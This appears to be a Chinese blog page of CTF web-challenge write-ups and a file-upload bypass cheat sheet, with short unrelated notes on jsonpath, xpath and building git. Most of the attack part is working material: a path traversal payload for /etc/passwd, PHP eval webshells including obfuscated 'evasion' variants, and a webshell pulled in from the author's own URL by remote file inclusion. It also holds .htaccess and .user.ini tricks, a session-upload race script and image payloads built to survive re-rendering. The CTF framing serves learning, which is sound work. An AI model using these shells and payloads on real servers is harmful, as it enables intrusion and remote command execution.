0%

[GWCTF 2019]我有一个数据库

phpmyadmin 4.8 cve 文件包含漏洞

?target=db_sql.php%253f/../../../../../../etc/passwd

[RoarCTF 2019]Easy Java

学到了请求有get改成post

点击help,发现报错,把get改为post,同时改后面参数,改成post上去

com.wm.ctf.DownloadController.doPost(DownloadController.java:24)

得到一个奇怪的包的目录

看了下wp,java项目源码在WEB-INF中,构造pyload

params需要加个filename=WEB-INF/classes/com/wm/ctf/FlagController.class 同时post filename就可以把class下下来

[强网杯 2019]高明的黑客

把源码下下来,一共好几千个文件里面有我们需要的马,我们只需要一个一个试即可🥰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:\Users\haodo\Desktop\20211129\高明黑客\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://fab0ef41-82a7-480e-a354-be549de9731f.node4.buuoj.cn:81/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
exit(1)
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

需要先本地测试,找到马后直接服务器利用即可

[BJDCTF2020]Mark loves cat

变量覆盖漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

好多payload:

yds=flag
is=flag&flag=flag

Had a bad day

php://filter应用

https://oatmeal.vip/security/web-learning/php-filter/

1
2
 	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
include ($file . '.php');

构造:

php://filter/convert.base64-encode/write=woofers/resource=flag

用docker把靶场安装在了虚拟机上,跟着天书走一遍,希望有所收获,不得不说docker和ssh真香,计划一部分一部分写,今天光做个报错注入已经弄了2个小时了。。

阅读全文 »

jsonpath

解决json镶套索引问题

1
2
3
4
5
6
7
8
9
10
$ 根节点

. 子节点

.. 匹配所有子孙节点

pip install jsonpath
from jsonpath import jsonpath
jsonpath.(data, '$.1.2.3.4.5.key') -> list
jsonpath.(data, '$..key') -> list

lxml

xpath helper插件

xpath语法

1
2
3
4
5
基础语法
//title/text() # 取标签间文本内容
//link/@href # 提取属性
节点修饰语法
/html/body/div[3]/div[1] # 标签从1开始索引

步骤

因为vscode ssh要求服务器git得>2,更新了个git,发现push不上去了,又把服务器搞崩了,还得重新配环境。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
yum install curl-devel expat-devel gettext-devel openssl-devel zlib-devel asciidoc

yum install gcc perl-ExtUtils-MakeMaker

yum remove git

cd /usr/local/src/

wget https://mirrors.edge.kernel.org/pub/software/scm/git/git-2.23.0.tar.xz

tar -xvf git-2.23.0.tar.xz

cd git-2.23.0/

make prefix=/usr/local/git all

make prefix=/usr/local/git install

echo "export PATH=$PATH:/usr/local/git/bin" >> /etc/profile

source /etc/profile

git --version

[MRCTF2020]你传你🐎呢

上传.htaccess

上传shell.jpeg

直接扫目录即可,没有过滤,非常友善

var_dump(file_get_contents('/flag'));

[SUCTF 2019]CheckIn

上传.user.ini不过是这样配置才能过

auto_prepend_file=shell.jpeg

以前都是

auto_append_file=1.txt

[NCTF2019]Fake XML cookbook

xxe

[GXYCTF2019]BabyUpload

先上传几个正常图片测试,jpeg能用

上传shell过滤了<?

<script language="php">eval($_POST['cmd']);</script>

绕过,上传.htaccess

AddType application/x-httpd-php .jpeg

把system过滤了

可以用var_dump打印

var_dump(scandir("/"))
var_dump(file_get_contents("/flag"));

[GXYCTF2019]禁止套娃

先githack把git扒下来,有个index.php

代码审计,过滤的比较多

1
2
3
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { #把伪协议读取flag.php给ban了
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { #套娃过滤(无参数过滤) 需要构造一个类似这玩意的东西a(b(c(d(e(f())))));
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { #过滤函数关键字

然后开始构造

show_source(next(array_reverse(scandir(current(localeconv())))));

phps

.git/

.svn/

.swp

ls -al

http://dbcha.com/

/admin密码

editor

tz.php探针

cdn 绕过

基本思路

  1. 绕过各种前端过滤
  2. 上传.user.ini/.htaccess
  3. 上传包含一句话文件/日志包含/远程文件包含
  4. 绕过关键字过滤
  5. 绕过特殊类型如二次渲染/httpd
  6. session竞争

前端过滤

直接改前端代码即可

简单后端过滤

content-type 改为 image/png(jpg/gif)

filename 改后缀

改文件头为gif头

GIF89a

改文件头为png头,直接在hex改

89504e470d0a

00截断

test.php1png

hex中将31改为00

php3 php4测试

1
2
3
<?php
@eval($_POST['cmd']);
?>

.user.ini上传

upload/下存在index.php

先上传.user.ini,再上传1.txt或其他支持上传类型

1
2
3
4
5
# .user.ini
auto_append_file=1.txt

# 1.txt
<?php @eval($_POST['cmd']);?>

php短标签

1
2
3
4
5
<script language="php">@eval($_POST['cmd']);</script>

<?=@eval($_POST['cmd']);?>

<% @eval($_POST['cmd']); %>

关键字过滤

[]替换为{}

[] {}全过滤

<?=@eval(array_pop($_POST));?>

; 可直接去掉;

空格过滤将空格改hex为0d

. 过滤用远程文件包含

日志包含

过滤()
.user.ini 自动包含文件如下

1
2
3
4
5
6
7
8
9
10
# 1.txt
<?php
# 过滤 log 用 . 分开即可
$a='/var/l'.'og/nginx/access.l'.'og'
include $a;
?>

若有过滤,可这样写
<?=include1'/var/l'.'og/nginx/access.l'.'og'?>
之后改hex将1改为od

域名下随机写入1.txt,改User-Agent为

<?php @eval($_POST['cmd']);?>

访问upload/测试

getimagesize绕过

改头为gif头

GIF89a

include url 远程文件包含

用我自己的url,返回一个一句话木马

http://795102185

<?=include'http://795102185'>

基本可以通杀

二次渲染

gif格式

比较简单,直接对比没有改变的地方,在里面直接插入即可

png格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

# ?0=call_user_func post 1=ls
# ?0=system 1=whoami

利用抓包看信息,可能不回显
?>

jpg格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
# 1=phpinfo();
<?php
$miniPayload = "<?=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>

免杀马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
a=system&b=ls

session竞争上传

先上传.user.ini包含如下语句

<?=include"/tmp/sess_haorical"?>

跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import threading
session=requests.session()
sess='haorical'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
'file':'heiheihei'
}
cookies={
'PHPSESSID': sess
}

def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)

threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()

.htaccess绕过

上传.htaccess

内容如下:

1
2
3
4
5
6
7
8
AddType application/x-httpd-php .png   //将.png后缀的文件解析 成php

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

php_value auto_prepend_file "shell.png"
#效果和.user.ini一样,然后通过访问加载php页面可以触发.htaccess的指令

appach解析漏洞

apache遇到无法识别解析的文件后缀时,会向前解析,如xxx.php.123.456,在mime.types文件中如果不存在.123/.456这两种后缀,那么apache会将该文件解析为php。

比如1.php.jgp